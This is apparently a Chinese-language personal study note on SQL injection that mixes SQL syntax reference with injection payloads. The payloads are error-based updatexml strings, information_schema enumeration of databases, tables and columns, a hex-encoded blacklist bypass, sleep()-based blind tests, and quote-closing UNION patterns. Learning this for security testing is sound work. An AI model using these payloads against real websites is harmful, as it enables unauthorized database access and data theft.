关于注入点:
注入点不仅仅有.php?id=xxx 只要是后端有交互的点都可能存在sql注入,黑盒情况下不知道后端,所以得fuzz,有的数据库会对你的cookie ua进行查询操作,甚至是别的请求头,所以要都fuzz试试.甚至对图片的查询操作都可能存在注入点,思路要打开.
学习sql语句:
参考SQL 通配符 --- SQL Wildcard Characters (w3schools.com)
Distinct 去重
Updatexml 可用于报错注入
第一个参数:XML的内容
第二个参数:是需要update的位置XPATH路径
第三个参数:是更新后的内容
举个例子就明白了:
SELECT * FROM LMX_BOOK WHERE UID IN($ID)
PAYLOAD : ?id= 1) or updatexml(0,concat(0x7e,version()),1)--+
0x7e为波浪线,在extractvalue或updatexml中为报错用的(xpath中的违规字符)
||可以代替or ;&&可以代替and ; xor 可以代替or的作用;空格有时候可以代替and select x y from xxx
``反引号包裹表明’’””一般引号包裹字符串
EXISTS 判断有无记录返回(检查是否存在 (对语句结果检查select exists(select 1))
也可进行爆破表名/库名
Select 1 and exists(select * from table_name)
select 1 and exists(select column_name from table_name)
ASCII函数 配合EXISTS爆破:
select ASCII(‘u’) 等同于select ASCII(‘username’)
select * from duser where id=1 and EXISTS(select * from duser1 where ASCII(username)=117)
Substring 同样可用于爆破(注:sql语法的str多为从1开始遍历)
select substring(‘fuckyou’,3,2)s ck (从第三个开始截取两个)
length 类似python的len,判断长度
SPACE(int)幽默的函数 select(100) 一百个空格
group_concat()/concat() 经典的把好多东西放到同一字段显示的语句:
group_concat和concat的区别:
select concat(id, ’,’, name) 返回 1,ssesmof
select concat(‘my’,null,’ql’) 返回 Null
通过以上这种concat的用法可以把好多字段的数据放到同一个字段
实战应用:select 0,1,concat(0x7e,database(),0x7e,user(),0x7e,@@datadir)
0x7e为波浪线,此处为好看用的,但是在extractvalue或updatexml中为报错用的(xpath中的违规字符)
GROUP_CONCAT函数返回一个字符串结果,该结果由分组中的值连接组合而成。
*使用表info作为示例,其中语句SELECT locus,id,journal FROM info WHERE locus IN('AB086827','AF040764');的返回结果为
+----------+----+--------------------------+
| locus | id | journal |
+----------+----+--------------------------+
| AB086827 | 1 | Unpublished |
| AB086827 | 2 | Submitted (20-JUN-2002) |
| AF040764 | 23 | Unpublished |
| AF040764 | 24 | Submitted (31-DEC-1997) |
+----------+----+--------------------------+
*语句 SELECT locus,GROUP_CONCAT(id) FROM info WHERE locus IN('AB086827','AF040764') GROUP BY locus;的返回结果为
+----------+------------------+
| locus | GROUP_CONCAT(id) |
+----------+------------------+
| AB086827 | 1,2 |
| AF040764 | 23,24 |
+----------+------------------+
实战中select group_concat(SCHEMA_NAME) from information_schema.schemata
直接结合所有数据库名
select group_concat(table_name) from information_schema.tables where table_schema=database()
所有表名
select group_concat(column_name) from information_schema.columns where table_name=0x70617373776F7264
字段名(可以用十六进制编码绕过一些黑名单,这个例子绕过password)
总结这俩的区别:concat不合并行而group_concat合并行
as 创建别名 SELECT CustomerID AS ID, CustomerName AS Customer FROM Customers; 字段名变为as指定的字符. 还有一些可替换的用法select (select 1)s 等同于select (select 1) as s as后不能为纯数字
like 模糊查询 where customername like “xx”
sql有自己的通配符 %相当于* _相当于?占位符[] 和linux的[]用法差不多也可以写成[a-z]这种形式
不同数据库语法不一样
limit 仅显示前几列
加减乘除也可以判断是否存在注入点
order by 经典的查字段语句后面接字段名或是数字都可以,接什么就依据什么排序,多出字段数会报错
null 空字段 select * from schema where shabi is null
min/max/sum/count 函数顾名思义 例: select max(id) from duser 查询最大的id; count查询有多少个
UNION 经典联合注入方法 union默认会去重,union all不去重. 例子:
Select 语句一 union select 语句二
会将两个查询语句拼接,使行数变多
注入时用于在原本的语句上加自己的语句
经过实验我也理解了union 为什么要猜字段数
因为只有union select后跟的select查的字段数和前边select查的字段数一样时才不会报错
Group by 根据字段名去重
Having 某些场景下无法使用where: select count(username)coutn, id, username, pass from duser group by username having count=5
Join
Inner join :
Select * FROM DUSER INNER JOIN DUSER1 ON DUSER.ID=DUSER1.ID
查询DUSER和DUSER1两个表中id字段的交集部分的数据
LEFT JOIN:
Select * FROM DUSER LEFT JOIN DUSER1 ON DUSER.ID=DUSER1.ID
全部显示DUSER , 部分显示DUSER1(显示和DUSER有交集的DUSER1数据)
RIGHT JOIN:
和上边的LEFT同理,不多赘述
注:只有用join时才能
Any 在 where中使用
例:
SELECT ProductName
FROM Products
WHERE ProductID = ANY (SELECT ProductID FROM OrderDetails WHERE Quantity = 10);
判断ProductID是否存在于任何SELECT ProductID FROM OrderDetails WHERE Quantity = 10的结果
All 和any的应用场景类似
例:
Select * from duser where all id>(select id from duser1)
顾名思义,判断id是否大于所有select id from duser1的结果
elt()的分流特性
ELT(N ,str1 ,str2 ,str3 ,…)
函数使用说明:若 N = 1 ,则返回值为 str1 ,若 N = 2 ,则返回值为 str2 ,以此类推。 若 N 小于 1 或大于参数的数目,则返回值为 NULL 。 ELT() 是 FIELD() 的补数。
mysql> select * from bsqli where id = 1 and elt((1>1)+1,1=1,sleep(1));
+----+--------+----------+
| id | name | password |
+----+--------+----------+
| 1 | K0rz3n | 123456 |
+----+--------+----------+
1 row in set (0.00 sec)
mysql> select * from bsqli where id = 1 and elt((1=1)+1,1=1,sleep(1));
field() 的分流特性
FIELD(str, str1, str2, str3, ……)
字段str按照字符串str1,str2,str3,str4的顺序返回查询到的结果集。如果表中str字段值不存在于str1,str2,str3,str4中的记录,放在结果集最前面返回。
Isnull SQL中 isnull()用法总结_sql isnull-CSDN博客
Sqlserver 例如:select isnull(分数,0) from xuesheng where name='凡九龙' 在表xuesheng中,字段分数如果为空,结果输出0。如果不为空,输出字段分数的值。
Mysql 1.isnull(exper) 判断exper是否为空,是则返回1,否则返回0
2.ifnull(exper1,exper2)判断exper1是否为空,是则用exper2代替
3.nullif(exper1,exper2)如果expr1= expr2 成立,那么返回值为NULL,否则返回值为 expr1。
Backup database abname
to disk ‘path’
备份数据库到指定目录
判断注入点2021-4-4 sql注入-CSDN博客
- 单引号判断
?id=10’ 如果出现错误提示,则该网站可能就存在注入漏洞。 - and判断
?id=10’and 1=1这个条件永远都是真的,所以当然返回是正常页
?id=10’and 1=2如果报错那说明存在注入漏洞,还要看报的什么错,不可能报任何错都有注入漏洞的。 - or判断
(or跟and判断方法不一样的,and是提交返回错误才有注入点,而OR是提交返回正确有注入点)
?id=10’or 1=1
?id=10’or 1=2 - xor判断
(xor后面的语句如果是正确的,则返回错误页面,如果是错误,则返回正确页面,说明存在注入点。)
http://www.xxx.com/xxx.asp?id=10’xor 1=1
http://www.xxx.com/xxx.asp?id=10’xor 1=2 - 加减号数字判断(返回的页面和前面的页面相同,加上-1,返回错误页面,则也表示存在注入漏洞.)
http://www.xxx.com/xxx.asp?id=10-0
http://www.xxx.com/xxx.asp?id=10-1
http://www.xxx.com/xxx.asp?id=10+1 - 输入框判断
可以使用特殊符号去判断
@!$/ …
闭合方法总结
1:最经典的?id=’ UNION ALL SELECT… --+
2:在查询语法中可用?id=nm%’ and 1=2 union …… and ‘%’=’
这种方法适用于这类sql语句: select * from sy_guestbook where gName like ‘%$s%’
闭合后:select * from users where password like '%nm%'and 1=2 union select 1,2,3,4 and '%'='%';
3.union注入中闭合后 and 1=2使原sql语句不执行,执行union select的语句
小技巧:
Sqlmap编写tamper:
学SQL注入时候翻了一篇文章渗透测试 | 记一次简单的 CMS 漏洞挖掘 - FreeBuf网络安全行业门户
代码审计:
if (in_array("{$mod}.php", pe_dirlist("{$pe['path_root']}admin/module/.php"))) {
include("{$pe['path_root']}admin/module/{$mod}.php");
}
pe_result();
这段代码判mod参数是存在于moudule/ 文件夹下,存在的话就文件包含
mod参数传入user 包含user.php